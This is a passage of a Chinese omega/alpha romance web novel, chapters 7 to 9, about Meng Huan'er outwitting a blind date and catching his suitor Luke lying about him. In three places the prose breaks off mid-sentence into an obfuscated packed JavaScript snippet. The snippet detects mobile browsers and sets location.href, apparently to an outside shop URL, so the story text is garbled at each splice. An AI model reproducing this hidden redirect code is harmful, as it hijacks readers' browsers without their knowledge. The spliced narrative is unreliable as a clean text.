《你竖中指,我戴戒指》 7. 第 7 章 孟涣尔微微抿住嘴。 正有些懊恼的时候,忽然听见omega说:“你们其实根本不是情侣吧。” ! 孟涣尔的上眼睑瞬间睁大了。 搞什么啊,这么快就被发现了吗。可是在哪里露的馅?他明明感觉自己表现很正常。 不行,就算暴露也不能在只有他一个人的时候,否则谢逐扬回来一定会怪他。 孟涣尔迅速调整好自己的表情状态:“你什么意思?” Omega道:“很奇怪不是吗,我听说你们两家之间有人快结婚了,就说明是看得上彼此家世的,没道理别人能结,却不同意你们。” 原来是因为这个。 孟涣尔听完一挑眉:“很奇怪吗?谢逐扬他爸对他‘寄予厚望’,希望能借他向上攀结到更有钱的亲家,当然看不上我。为了表示家族间的友好关系,只有一对新婚夫妻也足够了,再加第二对不会有太大变化,不如利益最大化,这个道理你难道不懂?” “有意思。”Omega忽然笑了一声。 “刚才你们两个坐在一起的时候,演技别提有多浮夸。现在我反倒有点相信你们之间的关系了。怎么,人一走,你不装傻白甜了?” ……你特么说谁傻和演技烂呢。 孟涣尔一个白眼差点呼之欲出,忍住了,面无表情地装没听到。 相亲对象又打量了一会儿孟涣尔,冷不丁道:“他们都说你和谢逐扬关系不好,我看也不是这么回事。” 孟涣尔没料到他会这么说,不由愣了一下,思绪飞转地试图领会话中深意:“你认得我?” 他看着面前的这张脸,怎么看都觉得毫无印象。 “我见过你。”omega说,“在很久以前的一次高中篮球校际赛上。你那会儿不是很有名吗?我们学校有好几个alpha看了照片,专门去你们学校门口看你呢。” “……” 孟涣尔想起来了。 因为家里住得近,他从小学到初高中都和谢逐扬上的是一所学校。 那时谢逐扬他们在的高中部要去打区内的校级篮球赛,孟涣尔听说了消息,特意想办法逃课去现场看的比赛。 结果他在场下观众席里为谢逐扬加油打气的样子不知怎么被在场的摄影和摄像师拍下来了,还被传到了网上。 说是加油打气,其实更像是语言刺激,什么“谢逐扬你是不是没吃饭”“谢逐扬你要是不行换我上”“谢逐扬快快快冲啊冲啊”—— 那场球赛一下让他们学校出了两个名人。一个是在球场上叱咤风云的谢逐扬,还有一个,是球场边上鬼吼鬼叫到嗓子都快破音的孟涣尔。 后来事情传回孟家,孟涣尔还被罚一个星期不准出门找朋友玩。 Omega一说,孟涣尔就懂了。都是圈子里的,稍微一打听就知道对方是谁,而孟涣尔和谢逐扬之间的不对付,在他们的社交圈里更是远近闻名的,谁被问到都会说一嘴。 听他这么提起,孟涣尔瞬间有点尴尬。 转念想想,又觉得这也说明不了什么,自己以前和谢逐扬关系不好,现在就不能好了吗? 这种假设根本没有把人本身的主观能动性放在眼里! 他垂眸思考着,忽然灵机一动,将计就计道:“既然你知道我跟他是什么关系,那我也不瞒着你了。我和他确实不是一对,不过,即使是这样,你也不会从他身上得到你想要的。” 孟涣尔大大咧咧把一条手臂往沙发椅背上一搭: “我从小学起就和谢逐扬认识了,十几年了,就没见他对哪个omega感冒过。我分化的时候他还陪我来着,正常的AO怎么也该擦出一点火花吧?但是他一点反应都没有。” “他这个人啊,omega撞上了他,就是落花有意,流水无情。” 孟涣尔耸耸肩。 Omega斜眼看着他:“你不会想跟我说,他是性冷淡吧?这招是不是有点太老了?” “不,我要说的是。”孟涣尔缓缓凑近向桌边,“他这个人,只喜欢alpha。” “……” “怎么,不信?”孟涣尔观察对方的脸色道,“既然你有人脉,那就再去找当年高中的人打听一下吧,问问看,他以前是不是有这么个传闻。” 反正那个谣也是他造的。 他的语气过于自信,omega下意识便默认了他的话是真的。 对方不语良久,再开口时,竟又恢复了镇定: “按你说的,他是A同,alpha生不了孩子,在生育后代上就很成问题。像我们这种家庭,长辈接受后辈不生孩子的概率基本为零。我刚好可以帮他解决这个麻烦不是吗?” “!” 孟涣尔震撼了。 怎么会有人这么厚脸皮又心理素质超强! 正当他不知道该说什么的时候,搁在腿上的手机亮了。 是牧天睿给他发来的好长一段回复。 孟涣尔点进去看了两眼。 牧天睿也不知道从哪搜罗到的信息,将今日这位相亲嘉宾的年龄、背景,包括目前在家里的公司做什么事都写了出来。 消息的最后还提到,omega直到半个月前才和相恋两年的Alpha分手,而据说,有认识他的人看到他曾出入一家高端医疗机构的妇产科。 …… 孟涣尔恍然大悟,终于明白对方打的是什么主意。 他先前还奇怪,今天这相亲对象怎么那么固执,不管说什么都坚持不肯松口,原来是别有隐情。 孟涣尔抬眼看了下omega,心想你想的倒是挺美,到时候你的孩子直接无痛继承谢家的财产,又给儿子找了爹又占了便宜,真当别人是冤大头啊!!! 他不禁真有点怒火中烧了。 看看,这就是军训式相亲的后果。 基数一大,什么人都能招来。 孟涣尔腹诽着关上手机,拿到最关键的底牌,突然就有底气了。 低了低头,视线冷不丁瞥向对方被衣物包裹着看不清形状的小腹。 “几个月大了?” Omega向来沉稳的脸上闪现过不自然。 “你在说什么?” “把无辜的alpha牵扯进来,是不是稍微有那么些卑劣了江先生。”孟涣尔扬了扬眉,装模作样地翘起二郎腿。 “谢逐扬他爸好歹也是集团CEO,安排儿子和你相亲,也是本着信任你们家,希望双方日后能建立更多良好合作的愿望来的,你却做出这种举动——你们家其他人知情吗?是默认,还是被蒙在鼓里?” 孟涣尔稍微坐直身体,做出正在思考般的神情。 “你觉得,如果我把这件事捅出去……会发生什么呢?” 对面的人眯起眼。 孟涣尔点到即止,觉得差不多了,整个人的上半身重重靠回沙发,学着谢逐扬的样子,摆出玩世不恭的姿态。 “你不要觉得,只要你们结婚了,你一定能找到机会和他上床,或者通过协商,把这件事隐瞒过去。谢逐扬不是傻子,我都能看出来的事,你觉得他不知道吗?” “故意中途离开,留下这个空隙,他是不想当面戳穿你,给你留点情面,所以让我替他开口——毕竟再怎么说,他也是一个alpha。但你不能把别人的礼貌当成变本加厉的理由。” …… 谢逐扬对发生在二人间的谈话毫不知情。 他打完电话后回来没多久,那名姓江的omega就宣称自己还有事,离开了。 望着对方远去的背影,孟涣尔从刚才起一直保持挺直的背脊终于松弛下来。 天啊好累。感觉像重新活了一次。 谢逐扬难得有些惊讶,挑着眉对孟涣尔道:“可以啊,你趁我不在的时候和他说了什么?” “保密。”孟涣尔想到自己刚才还在那个omega面前造谣谢逐扬喜欢alpha,不由心虚地故作神秘道。 再怎么说,自己也帮谢逐扬解决了一个这人轻易搞不定的麻烦。 反正对方本来也不想结婚,应该……不会在意这种细节吧。 孟涣尔咳嗽两声,转移话题道:“我帮了你这么大一个忙,你要怎么答谢我?” “你想我怎么答谢?”谢逐扬反问他。 “喂。”孟涣尔不满地举起筷子在桌面上敲了下,“你搞清楚是你先有求于我的,你这时候让我提条件,什么意思?要表达诚心,你得主动!” “喂。”谢逐扬也学着他的语气说,“光说你做的事,怎么不看看我也帮了你的忙?咱们相互抵消差不多得了,在这讨价还价什么呢。” 孟涣尔很吃惊:“你帮我什么了?” “就你那个,”谢逐扬从盘子里挑起一团绿油油的莴笋丝,“一起来的alpha。” “他不是想摸你的手么?” 孟涣尔正喝饮料呢,闻言差点噎住。 谢逐扬这都知道?不对,他当时不是在弹琴吗? 孟涣尔眼睛转了转,忽然搞怪似的努努嘴:“弹钢琴还偷偷看我,你很在意我啊?” “?” 谢逐扬悠悠瞥他一眼,像老师纠正小孩错题:“我这叫料事如神——提前防备,就知道他没安好心。” 切。 孟涣尔故意说反话跟他对着干:“你怎么知道我不想被他摸。” “……?” 谢逐扬的目光斜过来:“怎么个意思。我现在把人叫回来请他再和你拉拉小手呗?” 孟涣尔根本没把他这话当真:“你又没他联系方式,怎么叫?” “前台不是有他登记信息么,会员卡——” 谢逐扬这么说着,孟涣尔也想起来了。 对啊,会员卡上应该有注册人的姓名和手机号码。 前提是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554220|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那卡真是他的。 眼见谢逐扬真站起来打算去了,孟涣尔赶紧拉了下他的手臂。 “人都走了多久了?你现在把他叫回来,他也得应啊。差不多得了,我谢谢你,行了吧?” 谢逐扬这才满意地坐下。 “来都来了,吃点吧。”他冲他抬抬下巴,“反正我们俩的搭子都走了。” ……说得好像他们走了你很惋惜一样。 忽然想起什么,孟涣尔一把端起谢逐扬面前的菜道:“你的菜还是我让服务员告诉主厨别加葱的呢,没有感激之心的人不许吃!” “哦。”谢逐扬停在空中的筷子一顿,继而十分丝滑地转向了远处的一道菜,面不改色地开始挑起里面的葱段。 他的反应如此不起波澜,反倒显得找茬的人自讨没趣。 孟涣尔不由得撇撇嘴:“谢逐扬你这个人没意思透了。” 他重重地把盘子放回去,霍然站起身,顺着圆形的沙发挪到桌子另一边。 “才不要跟你坐一起,看见你的脸就倒胃口。” 他好不容易重新坐好,就见谢逐扬一脸若有所思地看着自己:“你坐我对面,不是看得更清楚了吗?” 怎么想的呢这位天才。 “……” 孟涣尔没想到这一层,呆住了。 这时再灰溜溜地挪回去太没面子,他又不能违背自己说出口的话,孟涣尔想来想去,好半晌说:“我闭着眼睛吃!” 说着,这人真把眼睛合上了,故意在谢逐扬面前张大嘴巴,把一口菜塞进嘴里,用力咀嚼起来,腮帮子一鼓一鼓,小孩子闹脾气似的。 谢逐扬歪着头,竖起来的手臂侧撑着脑袋,饶有兴趣地看他这个样子。 没过一会儿,冷不丁道:“你睁眼了。” 被他捕捉到视线偷窥的孟涣尔不服:“那我不得看菜啊!谢逐扬你真无聊——” …… 一顿饭闹腾地吃了不到一个小时,两人都起身准备回去了。 谢逐扬问:“真不用我送你?” “不用,我提前叫好车了。”孟涣尔低头看着手机,和他一前一后地走在去往餐厅门口的路上。 路过自己先前和Luke坐过的桌子,他一低头,看见那束被他摸了一下就放在旁边的花。 就这么扔在这好像浪费了。 孟涣尔想了想,还是把花拎起来。 明天问下家政阿姨要不要吧。 谢逐扬在他身后看见这一幕,嗓音凉凉的:“这你也要?” “……我为什么不要?” 从小到大,孟涣尔最喜欢跟谢逐扬对着干。 听他这么一说,立刻把花束抱紧在了怀里:“我不仅要拿,还要把它带回去插起来。” “切,随你。” 孟涣尔背对着那人,也跟着做了个“切,随你”的无声鬼脸。 “你在干什么?” “没干什么。” 感觉刚穿好的外套领口处有点怪,孟涣尔下意识想调整。 一摸,却发现锁骨处空空如也。 孟涣尔愣了愣,围着整个脖子探了一圈。 谢逐扬发现他的异常,从侧面绕过来:“怎么回事?” “我的项链不见了。”孟涣尔喃喃。 他在周边的区域搜索起来,谢逐扬也帮他寻找,桌面上,桌子底下,包括走道沿路都看过两遍,还是不见踪影。 难道是来的路上就在车上掉了? 他转头问谢逐扬:“你最开始在餐厅外见到我的时候,我戴着项链没?” 谢逐扬摇头:“没注意。” “光长眼睛不会看,要你何用。”孟涣尔啧一声。 “你自己的项链自己不注意,怪我?”谢逐扬反唇相讥。 见孟涣尔仍在低头寻觅,他道:“你那项链什么牌子?我再送你一条算了。” 孟涣尔:“你得了吧,真把自己当餐厅员工了?不见了我自己会买,不需要你来赔。” 他弯腰弯得累了,咕哝着边站起来活动脊椎边抱怨:“几万块一条的破项链怎么质量这么差!” 这时,孟涣尔叫的车到了,司机打电话过来催促。 谢逐扬见状便说:“别找了,你先回去吧。等会儿我让服务员去调监控,有结果再告诉你。” 孟涣尔一想,也行。 反正是梁滨的店。 他和谢逐扬打完招呼就走了。 谢逐扬在餐厅内看他上了车,回过头,踱步到门口的迎宾处:“和他之前一桌的那个客人,登记用的会员信息是什么?调给我看看。” 那领班是知道谢逐扬和他们老板关系匪浅的,思考了一下便道:“请稍等……不过这位顾客,登记用的并不是他本人的会员卡呢。” 对方对着电脑点击几下,将屏幕半转过来。 谢逐扬看清那上面的信息,讶然地一挑眉。 8. 第 8 章 滕亦然过两天来找他,孟涣尔顺嘴把那天在餐厅里发生的事告诉了他——但省略了后半段谢逐扬找他帮忙应付相亲的内容。 他和滕亦然都在一个专业,又因为不想住宿舍,在学校附近租了同一栋公寓里的房子,滕亦然经常隔三差五坐电梯到他家玩。 因为对方十分热爱上网冲浪,本身也关注网红之间的这点事,每次孟涣尔去参加完网红的线下聚会回来,都会告诉他自己最近听说的圈内八卦。 Luke最近在追求孟涣尔,滕亦然也是知道的。 他露出一脸不忍卒听的嫌弃表情:“这种alpha也太小肚鸡肠了吧,干嘛在背后说别的A坏话,还撒谎!靠,他是怎么有脸说出自己和老板认识这种话的?” “所以说就是超级下头。”孟涣尔叹息一声。 回去后整整两天多的时间,Luke都像人间蒸发一般,没有再跟他多说过一个字。 直到昨天晚上,对方才又突然发来一条一百字的小作文,说抱歉自己在餐厅里的种种行为太糟糕,希望没给孟涣尔带来不好的印象,期待他再给自己一次机会云云。 言辞态度看着还算恳切,然而已经拉低的印象分是回不去了。 而且仔细琢磨一下,这人虽说认了错,却又很鸡贼地根本没说自己错在哪,这算什么,让孟涣尔自己脑补吗? 孟涣尔盯着聊天界面里的文字泡看了几秒,最终还是没有回复。 把手机扔到一边,继续和好朋友讲接下来的经过。 听到谢逐扬在Luke面前谎报身高以及等等的骚操作,滕亦然差点把嘴里的奶茶喷出来:“不是吧!他真这样讲的?他平时就这样吗?” “嗯。”孟涣尔趴在公寓客厅里的沙发上,拳头撑着下巴,认真地点点头。 “你这下知道我为什么讨厌他了吧。” 谢逐扬睁眼说瞎话的功力太强了。 从小到大都是这样。 明明自己才是孟家的人,就因为谢逐扬学习成绩比他好,年纪比他大,面对长辈的时候很会装得像那么一回事,两家的大人就都默认谢逐扬不可能骗人。 假如两人就同一件事进行了不同描述,那一定是谢逐扬说的是真的,孟涣尔就是在撒谎。 晚上没写完作业白天被老师训了是真的,周末小测数学不及格是真的,因为不喜欢上体育课所以逃到教学楼高层的洗手间躲了整整一节课还是真的。 因为这种莫名其妙的话语权,孟涣尔从小到大都被谢逐扬死死地压着,简直丧尽天良! “那你到底去没去上体育课?”滕亦然抓住了重点。 “。”孟涣尔扭捏一阵,“我也不是每次都不去。” “……” 行,他知道了。 “不过这么一看,谢逐扬在Luke这件事上做的还是挺对的。”滕亦然明智地选择了转移话题,“不管怎么说,他也帮你认清了一个alpha,这不是很好嘛。我看他对你很不错啊。” “切,他哪有你说的那么好心。”孟涣尔撇撇嘴,从旁边扯来一个枕头趴在上面,声音含混道,“谢逐扬才不想管我,他就是看在我们两家关系的面子上不得不那么做。” 滕亦然不理解:“可是为什么呀?他也没有义务这么做吧。难道他们家的人还能按着他的头让他必须看着你?谢逐扬能乐意吗?” 孟涣尔的眼珠滴溜溜转了转,忽然露出心虚的表情。 - 另一边。 谢逐扬在和认识的公子哥们打高尔夫。 圈子里这样的聚会很常见,目的是互相引荐一下还不那么熟的朋友,看看以后有没有什么能够互相帮上忙的地方。 牧天睿这次就带了一个新人过来。 “哎,跟你们介绍一下,这位姓周。”他说了对方的名字,“上次那个回门宴上他也来了的。” 谢逐扬侧头看了对方一眼,跟来人互相点头示意。 一群年轻的富家子弟边打球边聊天,闲谈了快半个下午,渐渐熟络起来。 姓周的公子哥忽然说:“回门宴的时候,我看你们当中还有一个omega,他今天怎么没来?” 几个人面面相觑了几秒,像是在确认。 “你说孟涣尔吗?” “不知道。反正看他皮肤白白的,长得很漂亮,穿了身卡其色的衣服。” “那就是晃儿啊,和咱们一起玩的还有哪个omega。”谷修杰在旁边怼了正低头看着球杆的谢逐扬一下,忽然吹了声口哨,意识到有好戏看了,“什么情况?” 姓周的抿嘴笑了笑,模样竟有点羞涩:“就是觉得他很可爱。” 近处的梁滨和牧天睿都“噗嗤”一声笑出来。 对方不解:“怎么了?” “没什么……就是没想到那家伙的桃花还挺多。你说孟涣尔啊,那可是个混世魔王。” 牧天睿的语气意味深长,促狭地朝着谢逐扬一指:“不信你问他。” 这段历史得一直追溯到谢逐扬刚认识孟涣尔起。 孟涣尔上小学那年,他爸他妈离婚了。 谢逐扬在家里的餐桌上听完了这整个八卦: 最开始的时候,孟涣尔先是被判给了他爸。可男人不是什么有责任心的主儿,自己说是在外面忙工作,就把孟涣尔丢在家里让保姆照看,有时候据说能连着好几天都不回家,小孩儿在房间里成夜成夜地哭,谁哄都不管用,中途似乎还跑丢过两三回。 主家的人看不下去,才将孟涣尔从他爸手里接了过来。 孟涣尔在老宅里没有同龄人,谢逐扬他妈听说之后觉得十分可怜,就叫孟家的管家每天午饭后把人送过来,让他跟自个儿的儿子一块玩。 就这样,谢逐扬在没经过任何商量的情况下被长辈赋予了带孩子的义务。 谢逐扬听说后十分不满,他和一个小屁孩能玩什么? 差三岁是什么概念—— 自己都少先队三道杠了,孟涣尔还是一个连话都不能说得特别利索的小学一年级生;自己都开始跟同学一块打LOL了,孟涣尔还在那玩益智堆积木呢。 出去打篮球、玩飞盘,这些对方行吗?别说共同语言了,个子都比他们那帮人矮一个头。 谢逐扬第一次见到孟涣尔,就是在他自己的房间里。 那天他正戴着耳机坐在书桌边玩电脑游戏,保姆冷不丁领着个小不点进了屋门,告诉他这就是太太说的那个小孩。 谢逐扬看着自己呆呆坐在地上抓着个玩具汽车滑来滑去的孟涣尔,一秒,两秒,回过头接着打游戏去了。 这个孩子谁爱带谁带。 连着好几天,谢逐扬都把每日定点到他屋里打卡上班的孟涣尔当做空气。 直到那天傍晚,出事了。 家里的保姆按照惯例过来给他们送水果,却没看到孟涣尔人影。 谢逐扬、保姆、加上叫来的管家,三个人一起把老宅所有的角落都翻了个遍,查了监控才发现,孟涣尔竟然在他来了谢家不到二十分钟后就离开了这里。 说来也是奇特,谢家内部每天佣人来来往往,理论上不该有这么个活人走出了宅邸还谁都没有发现。 然而录像中,孟涣尔从谢逐扬的房里出来,经过走廊、下了楼梯,如同路过无人之境般地出了谢家大门,一路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554221|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟巧合地没有撞见任何人,就连门卫那会儿都在低头刷着手机短视频,根本没看到个头不到一米二的孟涣尔从保安室墙下经过。 家里人特地托他照顾孟涣尔,结果孟涣尔在他眼皮底下走丢了,这绝对是他全责。 那个年纪的谢逐扬还有种臭屁小男生特有的高傲,遇到事的第一反应仍是闯了祸不能告诉家长,想要自己偷偷解决。 好在孟涣尔身上还有个儿童手表可以定位。 和他一起打游戏的几个哥们儿听说这事,也纷纷要一起出力,一群比孟涣尔也大不到哪去的高年级小学生相约着各自从家里出发,跑到手表定位最后显示的位置,兵分四路地寻找起来。 足足花了一个多小时,才在某个偏僻的街心公园里发现了因为找不到回家的路而偷偷抹眼泪的孟涣尔。 找到人后,他们重新回看地图。 不看不知道,一看吓一跳,孟涣尔一个六岁大点的小孩儿,竟然在短短五个多小时内走了二十几公里的路,跨越到隔壁区的隔壁区去了。 自此,孟涣尔在他们一众小圈子里一战成名,外号“京城最强小学生”“北城区传奇暴走王”。 这件事最后还上了当地新闻。 谷修杰幸灾乐祸:“你要是现在去搜,说不定还能在网上看到遗迹,那上边还有谢逐扬出镜呢哈哈哈哈!” 话没说完,被谢逐扬来了记肘击。 他在外面找人太久,到了饭点,他爸、他妈,包括家里的其他叔伯姑姨,都陆陆续续回来了。 见到儿子不在屋内,管家和保姆又面露难色,谢正奇几下就问出实情。 谢逐扬和孟涣尔一回到家,面对的就是一大桌长辈的盘问和“关怀”。 事到如今,孟涣尔当年到底是因为什么原因跑出去的,他自己也没印象了。 但当时当着两家那么多大人的面,年幼的孟涣尔也知道要给自己找一个看起来责任不那么在他身上的理由。 于是他低下头,语气委屈巴巴地嗫嚅着说:“因为哥哥不和我玩……他一直自己玩电脑,都不理我。” 谢逐扬当时听完,心里只有一句话:好小子。 我怎么说都费劲把你给找回来了,路上看着也挺乖的,结果你就这么背刺我。 然而这件事确实和他有关,谢逐扬无话可说。 他也终于明白过来,孟家人说的对方之前跑出去过几回是什么意思。 合着孟涣尔还是个惯犯! 谢逐扬当晚就被家里的长辈训了话,勒令他以后必须对孟涣尔好好的,拿出个当哥哥的样子。 谢逐扬心里再不情愿,念及孟涣尔这个魔童动不动就来一次远征徒步挑战别人的心率上限,也只能照做。 从那以后,谢逐扬的身边就多出了一个甩不掉的尾巴。 …… 许多年过去,太多小时候的记忆都变得模糊不清。就算知道有这件事,也很难回忆起那会儿的心境和情绪。 但二十三岁的谢逐扬仍奇迹般地记得,自己在找寻孟涣尔的路上因为一路快跑而快要冲脱出胸腔的心跳,从额头和鼻尖渗出的汗水湿热的温度,还有那种少见的慌乱心情。 如果人生有报应,那么对谢逐扬来说,孟涣尔就是这两个字的具象化。 思及此处,谢逐扬凝神屏气,一个抬手挥杆,将球击向远处。 同伴们都在等他说话。 他放下球杆,这才抬眼重新打量起那个姓周的alpha,视线从头到脚,像在以一个过来人的身份评估他的水准。 然后淡淡地告诉对方。 “我劝你别想了。你掌握不了他,真心话。” 9. 第 9 章 “……” 滕亦然听完也咂舌:“你人生挺精彩的啊,这都没被人贩子拐走。” 孟涣尔慢吞吞翻个白眼:“谁让他一开始不理我来着。他要是对我好点,我至于离……离他家出走吗?” 所以说,这些都是谢逐扬自找的。 他从鼻孔里哼了声。 两人又聊了一会儿别的。 滕亦然凑近过来道:“对了,你晚上有没有事?” 孟涣尔:“干什么?” “出去玩呗,做做spa,打打牌,”滕亦然翻动着朋友圈,说出一家私人会所的名字,“我看好多人这几天都在他们家打卡。要不要去?” 孟涣尔一听名字就没兴趣了,撇撇嘴嫌弃道:“这家spa好烂。” “那就去另一家!”滕亦然说,“这家最近在搞泳池派对,听说他们家的技师都是泰国进修回来的,特别专业——走啦走啦!” 孟涣尔像个游魂似的被他薅起来。 - 四十分钟后,两人并排趴在了会所水疗中心的小床上。 孟涣尔长期伏案剪视频,最近感觉肩颈有些酸痛,让技师给他多按了二十分钟。滕亦然早他一步结束,提前去了楼上的泳池,让孟涣尔等下过来找他。 放松肌肉的过程激发了孟涣尔的困意,以至于按摩结束后他的脑袋还有些晕乎乎的。 他穿回自己的衣服,打着哈欠一个人走去坐电梯。 滕亦然带他来的这家会所距离学校有点远,属于孟涣尔日常放松不会考虑的类型,之前总共也就来了两三次,对这里不算熟。 前去泳池的路上,他路过一排不知道是做什么的包间,其中一扇没关牢的门里传出人声。 “最近都没见你和晃一晃豌豆一块出去,怎么,不喜欢他了?” 嗓音轻佻而熟悉。 原本正闷头向前走的孟涣尔骤然停下脚步。 他没听错吧?这个声音是…… 孟涣尔若有所思地转头看向身边这扇门。 下一秒,Luke的声音响起: “你听谁说的,我怎么会喜欢他?” “就香菜汤咯,他说他上个月看到你跟他在698那边一起逛画展。” 确定了,声音的主人是井子琪。 若说孟涣尔在网红圈里不对付的人有谁,井子琪算一个—— 原因无他,这人也是帝都有钱人圈子里的一名少爷。 早先孟涣尔在网上做自媒体火了,社交圈内议论纷纷。井子琪十分羡慕他在网上的流量,紧随其后地开通了账号。一开始的视频内容完全是对着孟涣尔照样copy,只是没学到精髓,数据也一般,后来开始走富家少爷的炫富赛道,流量才好起来。 井子琪做账号到现在,粉丝不到百万,但因为自爆了有钱人身份,在网红当中很受追捧,一个两个都希望能通过他攀上富豪圈子。 孟涣尔则相对来说低调很多,迄今为止,绝大多数人都以为他家只是富裕一点的中产阶级。 对于对方早期模仿自己一事,说孟涣尔一点膈应没有是不可能的,但也没到需要撕破脸的地步。平常帝都圈网红聚会,他们也基本当互相看不见。 直到一个月前,Luke作为新人网红加入了他们的线下聚会。 因为长得帅又性格热情,据说还是单身,聚会上许多omega都对他表示出了好感,就连井子琪也不例外。 在线下社交这方面,井子琪是绝对的“交际花”。 看着Luke被他们那群人围绕着相谈甚欢的样子,孟涣尔本以为他几天就会被井子琪拿下,没想到过了一段时间,对方居然私下找到自己,开始追求起孟涣尔。 孟涣尔大感意外,因此对Luke有了点改观,这才答应他出来玩。 可这两个人现在怎么又凑在了一起? 孟涣尔凝了凝神,放慢脚步,一点一点地往门口挪近了十多公分。 “嗨,你说那件事啊。”Luke的声音停顿一下,“是他自己来找我的。” “我本来都不记得有他这号人,结果他主动加上我微信,跟我说想约我出来见面,我都拒绝了还一直问。我觉得他毕竟是omega,脸皮薄,跟他出去一趟,当面拒绝了他也好。” “……” 一门之隔的走廊上,孟涣尔瞪大眼睛,不可思议地低低“哈”了一声。 这傻逼alpha,怎么给自己脸上贴金? 井子琪替他把这一声冷笑出来,说的却是截然不同的内容:“我看你是舍不得他那张脸吧。你们alpha就是这个贱样,看见好看的omega就走不动道。” “怎么会?”Luke的语气温柔而谄媚地夸张道,“他除了长得白一点还有什么?原来他在alpha当中是受欢迎的类型吗?我完全看不出来。” 井子琪被他取悦,发出轻轻的笑声。 旁边一个井子琪的同伴也道:“我就说嘛,那晃一晃豌豆有什么好看的,也就乍一看漂亮,仔细瞧根本不耐看。不过他居然也会私下偷偷约人,看不出来啊,平时那么高冷的样子。” 第二个人说:“这不废话。我们子琪在线下一直都是人群中心,Luke在聚会上始终在跟子琪说话,他肯定眼红死了。” “你们说,他该不会是看Luke和子琪走得近,才想故意挖墙角吧?” “啧啧,很有可能。” …… 怎么会有这么不要脸的人?! 除去最开始的震惊和不可思议后,孟涣尔心中剩下最多的就是愤怒。 这怒意并非因为Luke的背叛或者隐瞒,而是这个死人居然就这么任由井子琪和他的这帮狗腿讲自己莫须有的坏话,还跟着一块造谣! 孟涣尔在外边气得脸上发热,忽听井子琪又道:“你这项链不错啊?刚才我就想说了,B家他们上个月刚出的新款吧?” “啊?”Luke像没想到他会冷不丁提起这个,话音停滞一下,才缓慢道,“好看么?我就顺手买的。” “好看啊,就是看起来不像你平时爱戴的款式……哼。”井子琪发出撒娇的鼻音,“这一条满钻的也要八万块了吧?你有钱给自己买项链,都不给我送一个小礼物。” 项链?孟涣尔耳朵捕捉到关键词,整个人越发屏气凝神地朝门边贴去。 浑然不觉螳螂捕蝉,黄雀在后。同一时间,有另一个人正以同样的招数自他后方向他靠近。 那人身材高挑颀长,为了不被发现,刻意放慢了脚步,在孟涣尔身后二十公分的地方停下来,向前倾身,直到鼻尖刚好与对方的耳廓顶端齐平。 他扭过头。 “在看什么?” 一缕热气拂过耳侧。 对方像个鬼魂一样,出现得神秘莫测。孟涣尔没料到自己的身后会钻出个人,还离他这么近,一时间被吓了一大跳。 他猛地回过身,额头刚好迎面撞上那人的鼻子! “嘶……靠。”来人瞬间发出倒吸冷气声,用手捂住鼻子,身体向后仰了一下。 谢逐扬捂着自己微微发红的鼻梁,一脸不爽地看了过来:“你干什么?就算是为了报我那天说你鼻子出油的仇,也不至于这样吧?” 猝不及防在这边遇见熟人,孟涣尔深深地愣住了,大脑好半天才接收到对方这句话的意思。 “别说话!”他反应过来,着急地冲谢逐扬打手势。 就在这时,走廊拐角处有人叫起了谢逐扬的名字。 孟涣尔怔了怔,意识到他不是一个人来的。 谢逐扬说了声“等下”,身影很快消失在孟涣尔的视野。 孟涣尔还没想明白他这两个字是对谁说的,门内传来了脚步声。 他和谢逐扬在门外闹出的那一下动静太大,明显惊动了包间内的人。 有人走过来了。 孟涣尔心说这谢逐扬真是一出现就没好事,来了,给他制造了一个麻烦,然后居然就这么又走了! 下一秒门被打开,Luke的脸突兀出现在孟涣尔面前。 两个人都同时一愣。 对方看见是他,眼里闪过一丝心虚的躲闪。 孟涣尔见状冷笑一声。 反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554222|186861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正碰上了,他干脆双臂交叉道:“解释吧。” 不料Luke微微蹙眉,不答反问道:“你刚才听到了多少?” 孟涣尔:“……?” 他真是要气笑了。 “怎么,你现在还抱有侥幸,觉得自己能瞒过去是吗?”孟涣尔冷冷地说,“全都听到了。” 一阵沉默之后,Luke终于破罐子破摔道:“是,我是背着你和他在一起了。” 孟涣尔刚要翻白眼,就听Luke又说:“但这不代表我和你没可能啊。” “什么?”一瞬间,孟涣尔震惊到甚至以为自己听错了。 Luke不知道哪来的自信,居然真跟他解释起来:“虽然我和他在一起了,但我还是更喜欢你,你懂么?我说的那些都是哄他的。你又漂亮,又有品味,性格也可爱,你是我见过最好看的omega,我不想就这么放弃你。” 孟涣尔脸上的表情仿佛在说“怎么没来道雷劈死你”。 他“呵”了一声,像觉得不可置信:“你的意思是,你还想享齐人之福?” 